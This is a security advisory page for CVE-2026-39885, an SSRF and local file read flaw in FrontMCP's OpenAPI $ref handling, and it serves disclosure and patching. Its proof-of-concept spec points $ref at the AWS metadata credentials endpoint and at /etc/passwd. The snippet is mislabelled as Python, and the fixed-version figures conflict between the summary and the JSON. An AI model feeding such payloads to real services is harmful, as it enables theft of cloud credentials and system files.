Security Vulnerability Report
中文
CVE-2026-39885 CVSS 7.5 HIGH

CVE-2026-39885

Published: 2026-04-08 21:17:01
Last Modified: 2026-04-15 19:04:52

Description

FrontMCP is a TypeScript-first framework for the Model Context Protocol (MCP). Prior to 2.3.0, the mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications. This vulnerability is fixed in 2.3.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:agentfront:\@frontmcp\/adapters:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:agentfront:\@frontmcp\/sdk:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:agentfront:frontmcp:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:frontmcp:mcp-from-openapi:*:*:*:*:*:node.js:*:* - VULNERABLE
FrontMCP < 2.3.0
mcp-from-openapi < 2.3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC: Malicious OpenAPI specification to trigger SSRF or Local File Read // Save this as a JSON file and feed it to the vulnerable FrontMCP instance. const maliciousOpenApiSpec = { "openapi": "3.0.0", "info": { "title": "Exploit PoC", "version": "1.0.0" }, "paths": { "/vulnerable": { "get": { "summary": "SSRF via $ref", "description": { // Attempting to read AWS Instance Metadata "$ref": "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" } } }, "/local-file": { "get": { "summary": "LFI via $ref", "description": { // Attempting to read a local file (depending on OS/file permissions) "$ref": "file:///etc/passwd" } } } } }; // Usage example: Pass this object to the initialize() function of the vulnerable library.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39885", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.833", "lastModified": "2026-04-15T19:04:51.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FrontMCP is a TypeScript-first framework for the Model Context Protocol (MCP). Prior to 2.3.0, the mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications. This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:agentfront:\\@frontmcp\\/adapters:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.0.4", "matchCriteriaId": "D4359FEB-443B-4810-836F-17CF222E59A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:agentfront:\\@frontmcp\\/sdk:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.0.4", "matchCriteriaId": "944403B2-61F9-49E2-8E1D-E8A34313DCEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:agentfront:frontmcp:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.0.4", "matchCriteriaId": "1A711248-2B16-4ECA-878A-5CEA5274AB98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frontmcp:mcp-from-openapi:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "FA827C0B-761C-4BC3-B9BD-E06918698B32"}]}]}], "references": [{"url": "https://github.com/agentfront/frontmcp/releases/tag/v1.0.4", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/agentfront/frontmcp/security/advisories/GHSA-v6ph-xcq9-qxxj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}